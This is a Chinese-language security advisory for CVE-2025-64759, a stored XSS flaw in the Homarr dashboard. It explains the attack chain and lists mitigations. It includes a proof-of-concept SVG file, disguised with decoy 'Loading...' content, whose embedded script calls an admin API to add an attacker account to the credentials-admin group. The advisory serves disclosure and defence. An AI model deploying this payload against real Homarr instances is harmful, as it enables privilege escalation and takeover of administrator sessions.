IPBUF安全漏洞报告
English
CVE-2025-64759 CVSS 8.1 高危

CVE-2025-64759 Homarr仪表板存储型XSS漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-64759
漏洞类型
存储型XSS
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Homarr

相关标签

存储型XSSHomarr权限提升SVG注入CVE-2025-64759开源仪表板JavaScript执行管理员权限文件上传漏洞

漏洞概述

Homarr是一款开源自定义仪表板应用程序。在1.43.3版本之前,存在一个严重的存储型跨站脚本(Stored XSS)漏洞。该漏洞源于应用程序对用户上传的SVG文件缺乏充分的输入验证和过滤,攻击者可以通过上传包含恶意JavaScript代码的SVG文件,在受害用户的浏览器中执行任意JavaScript脚本。由于SVG文件会在页面中被渲染或通过重定向访问,攻击者可以利用此漏洞在管理员不知情的情况下,诱导管理员访问包含恶意SVG的页面,从而在管理员会话中执行特权操作。攻击的最终目标是将攻击者账户添加到应用程序的"credentials-admin"组,使其获得完全的管理员权限,包括用户管理、配置修改等高危操作。此漏洞的利用复杂度较低,但需要一定的用户交互(管理员访问特定页面),CVSS评分达到8.1分,属于高危漏洞。

技术细节

该漏洞的根本原因在于Homarr应用程序在处理用户上传的SVG文件时,未对SVG内容中的JavaScript代码进行有效过滤或清理。SVG格式支持<script>标签和事件处理器属性(如onload、onerror等),攻击者可以构造包含恶意JavaScript的SVG文件并上传到服务器。由于SVG文件被存储在服务器端,当其他用户(尤其是管理员)访问或触发该SVG文件的渲染时,恶意JavaScript代码会在其浏览器上下文中执行。攻击者可以利用此机会通过JavaScript API(如fetch)调用应用程序的管理接口,发送添加用户到credentials-admin组的请求。由于管理员已经通过身份认证,攻击者的JavaScript代码可以在管理员会话中执行敏感操作,实现权限提升。整个攻击过程利用了SVG格式的特殊性和应用程序对上传文件内容验证不足的缺陷,属于典型的存储型XSS漏洞利用模式。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意JavaScript代码的SVG文件,利用<script>标签或事件处理器(如onload)注入攻击脚本
STEP 2
步骤2
攻击者通过Homarr的上传功能将恶意SVG文件上传到服务器,该文件被存储在服务器端
STEP 3
步骤3
攻击者诱导具有管理员权限的用户访问包含该恶意SVG的页面,或通过页面重定向触发SVG渲染
STEP 4
步骤4
管理员浏览器加载并渲染SVG文件时,执行其中的恶意JavaScript代码,在管理员会话上下文中运行
STEP 5
步骤5
恶意脚本利用管理员已认证的会话,通过API调用将攻击者账户添加到credentials-admin组
STEP 6
步骤6
攻击者获得完全的管理员权限,可以进行任意管理操作,包括修改配置、添加/删除用户等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2025-64759 --> <!-- Save this as malicious.svg and upload to Homarr --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> <![CDATA[ // Wait for SVG to load window.addEventListener('load', function() { // Add attacker account to credentials-admin group fetch('/api/admin/users/add-to-group', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': document.cookie }, body: JSON.stringify({ userId: 'attacker_user_id', group: 'credentials-admin' }) }).then(response => { if (response.ok) { console.log('Privilege escalation successful'); } }).catch(err => console.error('Attack failed:', err)); }); ]]> </script> <!-- Decoy content to appear as normal image --> <rect width="100%" height="100%" fill="#f0f0f0"/> <text x="50%" y="50%" text-anchor="middle">Loading...</text> </svg>

影响范围

Homarr < 1.43.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制SVG文件上传功能,仅允许受信任的用户上传文件;2) 在Web应用防火墙(WAF)层面添加规则,检测并阻止包含恶意脚本的SVG文件上传;3) 禁用SVG文件的自动渲染,改为提供下载链接而非直接展示;4) 提醒管理员不要随意访问来源不明的文件链接;5) 加强对用户权限组的审核,及时发现异常的管理员账户添加行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表